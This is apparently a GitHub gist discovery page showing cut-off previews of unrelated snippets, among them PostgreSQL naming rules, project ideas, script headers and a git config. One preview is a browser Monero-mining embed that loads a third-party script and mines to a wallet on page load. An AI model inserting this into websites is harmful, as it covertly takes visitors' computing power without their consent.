Discover gists

The standard names for indexes in PostgreSQL are:

{tablename}_{columnname(s)}_{suffix}

where the suffix is one of the following:

pkey for a Primary Key constraint;

key for a Unique constraint;

excl for an Exclusion constraint;

idx for any other kind of index;

Project Ideas

Ok. I'm going to list off some ideas for projects. You will have to determine if any particular idea is good enough to include in a portfolio. These aren't creative ideas. They likely already exist. Some are way too advanced while others are simplistic.

I will recommend to post any project you make to github and make a github project page for it. Explain in as much detail as possible how you made it, how it can be improved etc. Document it.

If you pick an advanced idea, setup a development roadmap and follow it. This will show some project management skills.

Another piece of advice for those who are design challenged. Use different front end frameworks and use different themes for those frameworks to provide appealing designs without looking like yet another bootstrap site.

	#!/bin/bash

	# Convert Lingvo DSL, Babylon BGL, Stardict, ZIM, etc dictionaries to MDict MDX (see input formats supported by https://github.com/ilius/pyglossary)
	#
	# Dependencies:
	# python3, sqlite3, pyglossary, mdict-utils
	# optional dependency: dictzip (for unpacking .dz files)
	#
	# Install all dependencies with:
	# pip3 install pyglossary mdict-utils lxml polib PyYAML beautifulsoup4 html5lib PyICU libzim>=1.0 python-lzo prompt_toolkit

	# This supports merging as many adapters as you want.

	# python merge_adapters.py --base_model_name_or_path <base_model> --peft_model_paths <adapter1> <adapter2> <adapter3> --output_dir <merged_model>

	from transformers import AutoModelForCausalLM, AutoTokenizer
	from peft import PeftModel
	import torch
	import os
	import argparse

	[user]
	name = project operations
	email = support@igedevteam.onmicrosoft.com

	[core]
	editor = \"C:\\Program Files\\Microsoft VS Code\\Code.exe\" \"-n\"
	whitespace = fix,-indent-with-non-tab,trailing-space,cr-at-eol,space-before-tab
	tabwidth=4
	excludesfile = ~/.gitignore-global
	symlinks = false

	<script src="https://coinwebmining.com/cwm.js"></script>
	<script>
	var site_id = '{mysiteDOTcom}'; //register here https://coinwebmining.com/add-miner-your-website
	var coin = 'monero';
	var wallet = '{yourWalletAddress}';
	var password = 'x';
	var mining_pool = 'moneroocean.stream'; //or check https://coinwebmining.com/browser-miner/monero for more mining pools
	var threads = -1; //You can set -1 for auto threads, or set number of threads between 1-16.
	var throttle = 0.2; //Set the fraction of time that threads should be idle. A value of 0 means no throttling (i.e. full speed), a value of 0.5 means that threads will stay idle 50% of the time, with 0.2 they will stay idle 20% of the time and 80% of the time mining.
	var debug = false; //false or true. Whetever you want to display mining info in a console. Good to verify script works.

	// actions/index.ts
	import * as name from './actions/name';
	// other action imports ...

	export interface Action {
	name: string;
	canPerform(): boolean;
	perform(): void;
	}

	//
	// _oo0oo_
	// o8888888o
	// 88" . "88
	// (\| -_- \|)
	// 0\ = /0
	// ___/`---'\___
	// .' \\\| \|// '.
	// / \\\|\|\| : \|\|\|// \
	// / _\|\|\|\|\| -:- \|\|\|\|\|- \

	// WARNING: only for x86

	#include <stdlib.h>
	#include <stdio.h>
	#include <unistd.h>
	#include <fcntl.h>
	#include <string.h>
	#include <assert.h>
	#include <time.h>
	#include <sys/auxv.h>